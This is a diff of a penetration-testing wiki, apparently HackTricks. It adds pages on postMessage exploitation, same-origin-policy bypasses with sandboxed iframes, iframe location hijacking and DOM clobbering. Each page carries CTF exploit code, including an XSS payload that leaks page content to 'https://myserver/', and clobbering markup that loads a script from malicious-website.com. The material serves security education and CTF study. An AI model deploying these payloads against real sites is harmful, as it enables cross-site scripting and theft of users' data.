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SUMMARY.md
17
SUMMARY.md
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@ -511,7 +511,11 @@
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* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
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* [Open Redirect](pentesting-web/open-redirect.md)
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* [Parameter Pollution](pentesting-web/parameter-pollution.md)
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* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities.md)
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* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities/README.md)
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* [Blocking main page to steal postmessage](pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
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* [Bypassing SOP with Iframes - 1](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
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* [Bypassing SOP with Iframes - 2](pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
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* [Steal postmessage modifying iframe location](pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
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* [Race Condition](pentesting-web/race-condition.md)
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* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
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* [Registration & Takeover Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
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@ -549,16 +553,17 @@
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* [XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
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* [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
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* [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
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* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
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* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
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* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
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* [Debugging Client Side JS](pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md)
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* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
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* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
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* [Dom Clobbering](pentesting-web/xss-cross-site-scripting/dom-clobbering.md)
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* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
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* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
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* [Other JS Tricks](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
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* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
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* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
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* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
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* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
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* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
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* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
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* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
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* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
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* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
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@ -66,15 +66,8 @@ Note that if the page can be iframed but the **targetOrigin** is **set to a URL
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}, 100);
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}
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</script>
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</html>
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```
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### Bypassing window.origin or e.source
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Using iframes you can make **`window.origin`** and **`e.origin`** value **`null`** and **`e.source`** value **`null`**.
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## addEventListener exploitation
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**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
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@ -98,15 +91,15 @@ In order to **find event listeners** in the current page you can:
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* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
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* **Execute** in the developer tools console: `getEventListeners(window)`
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 (1).png>)
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 (1).png>)
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* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
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.png>)
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.png>)
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* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
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### addEventListener check origin bypasses
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### check origin basic bypasses
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* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
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* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
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@ -126,6 +119,31 @@ result.message; // "'"<b>\"
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`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
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### Bypassing e.origin == window.origin
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When a page is embedded in a **sandboxed iframe** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` the **origin** of that **iframe** will be **`null`**.
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When the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
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So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
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Therefore, if you open a **sandboxed iframe** allowing popups, and then you **opens a popup** from inside the iframe, and **send a postMessage** from the iframe **to the popup**, both origins are null so: **`e.origin == window.origin == null`**
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For more information **read**:
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{% content-ref url="bypassing-sop-with-iframes-1.md" %}
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[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
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{% endcontent-ref %}
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### Bypassing e.source
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You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
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For more information **read:**
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{% content-ref url="bypassing-sop-with-iframes-2.md" %}
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[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
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{% endcontent-ref %}
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### X-Frame-Header bypass
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In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
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@ -138,6 +156,22 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
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</script>
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```
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### Stealing message sent to child by blocking the main page
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In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
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{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
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[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
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{% endcontent-ref %}
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### Stealing message by modifying iframe location
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if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
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{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
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[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
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{% endcontent-ref %}
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### postMessage to Prototype Pollution and/or XSS
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In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
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@ -164,9 +198,9 @@ Example of an exploit to abuse **Prototype Pollution and then XSS** through a `p
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For **more information**:
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* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution/)
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* Link to page about [**XSS**](xss-cross-site-scripting/)
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* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
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* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
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* Link to page about [**XSS**](../xss-cross-site-scripting/)
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* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
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## References
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@ -0,0 +1,54 @@
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# Blocking main page to steal postmessage
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<details>
|
||||
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||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
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||||
</details>
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## Winning RCs with Iframes
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According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
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Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
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However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
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Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
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Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
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But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
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```javascript
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window.addEventListener('message', (e) => {
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if (e.data == 'blob loaded') {
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$("#previewModal").modal();
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}
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});
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```
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so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
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```bash
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const buffer = new Uint8Array(1e7);
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win?.postMessage(buffer, '*', [buffer.buffer]);
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```
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And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
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|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
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@ -0,0 +1,96 @@
|
|||
# Bypassing SOP with Iframes - 1
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
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## Iframes in SOP-1
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In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
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```javascript
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const identifier = '4a600cd2d4f9aa1cfb5aa786';
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onmessage = e => {
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const data = e.data;
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if (e.origin !== window.origin && data.identifier !== identifier) return;
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if (data.type === 'render') {
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renderContainer.innerHTML = data.body;
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}
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}
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```
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The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
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Let's see the solution they propose.
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### SOP bypass 1 (e.origin === null)
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When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
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If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
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### SOP bypass 2 (window.origin === null)
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The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
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So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
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### Challenge Solution
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Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
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That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
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```html
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<body>
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<script>
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f = document.createElement('iframe');
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// Needed flags
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f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
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// Second communication with /iframe.php (this is the top page relocated)
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// This will execute the alert in the correct origin
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const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
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x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
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},1000);`.replaceAll('\n',' ');
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// Initial communication
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// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
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// Then, bypass window.origin === e.origin to steal the identifier and communicate
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// with the top with the second XSS payload
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f.srcdoc = `
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<h1>Click me!</h1>
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<script>
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onclick = e => {
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let w = open('https://so-xss.terjanq.me/iframe.php');
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onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
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setTimeout(_ => {
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w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
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}, 1000);
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};
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<\/script>
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`
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document.body.appendChild(f);
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</script>
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</body>
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||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
# Bypassing SOP with Iframes - 2
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
## Iframes in SOP-2
|
||||
|
||||
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
|
||||
|
||||
In this challenge the attacker needs to **bypass** this:
|
||||
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
|
||||
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
|
||||
|
||||
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
|
||||
|
||||
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
|
||||
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
|
||||
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
|
||||
|
||||
```javascript
|
||||
let iframe = document.createElement('iframe');
|
||||
document.body.appendChild(iframe);
|
||||
window.target = window.open("http://localhost:8080/");
|
||||
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
||||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||||
document.body.removeChild(iframe); //e.origin === null
|
||||
```
|
||||
|
||||
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
|
||||
|
||||
* Sending `token` in the postMessage with value `null` is trivial.
|
||||
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
|
||||
|
||||
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
// Abuse "expr" param to cause a HTML injection and
|
||||
// clobber document.getElementById and make window.calc.contentWindow undefined
|
||||
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
||||
|
||||
function start(){
|
||||
var ifr = document.createElement('iframe');
|
||||
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
||||
// this null origin will document.cookie trigger an error and window.token will be undefined
|
||||
ifr.sandbox = 'allow-scripts allow-popups';
|
||||
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
||||
|
||||
document.body.appendChild(ifr);
|
||||
|
||||
function hack(){
|
||||
var win = open('https://obligatory-calc.ctf.sekai.team');
|
||||
setTimeout(()=>{
|
||||
parent.postMessage('remove', '*');
|
||||
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
||||
// token=null equals to undefined and e.source will be null so null == undefined
|
||||
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
||||
},1000);
|
||||
}
|
||||
|
||||
// this removes the iframe so e.source becomes null in postMessage event.
|
||||
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
||||
}
|
||||
setTimeout(start, 1000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
# Steal postmessage modifying iframe location
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
## Changing child iframes locations
|
||||
|
||||
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
|
||||
|
||||
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
|
||||
|
||||
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
|
||||
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
//pseudo code
|
||||
setTimeout(function(){ exp(); }, 6000);
|
||||
|
||||
function exp(){
|
||||
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
||||
setInterval(function(){
|
||||
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
@ -78,7 +78,7 @@ When a websocket posts a message or a form allowing users to perform actions vul
|
|||
|
||||
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
|
||||
* [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities.md)
|
||||
* [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
|
|
|
|||
91
pentesting-web/xss-cross-site-scripting/dom-clobbering.md
Normal file
91
pentesting-web/xss-cross-site-scripting/dom-clobbering.md
Normal file
|
|
@ -0,0 +1,91 @@
|
|||
# Dom Clobbering
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
## **DOM Clobbering**
|
||||
|
||||
### **Clobbering `window.someObject`**
|
||||
|
||||
A common pattern used by JavaScript developers is:
|
||||
|
||||
`var someObject = window.someObject || {};`
|
||||
|
||||
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.onload = function(){
|
||||
let someObject = window.someObject || {};
|
||||
let script = document.createElement('script');
|
||||
script.src = someObject.url;
|
||||
document.body.appendChild(script);
|
||||
};
|
||||
</script>
|
||||
```
|
||||
|
||||
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
|
||||
|
||||
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
|
||||
|
||||
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
|
||||
|
||||
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">` will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||||
|
||||
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
|
||||
|
||||
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
### Clobbering document object
|
||||
|
||||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||||
|
||||
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
|
||||
>
|
||||
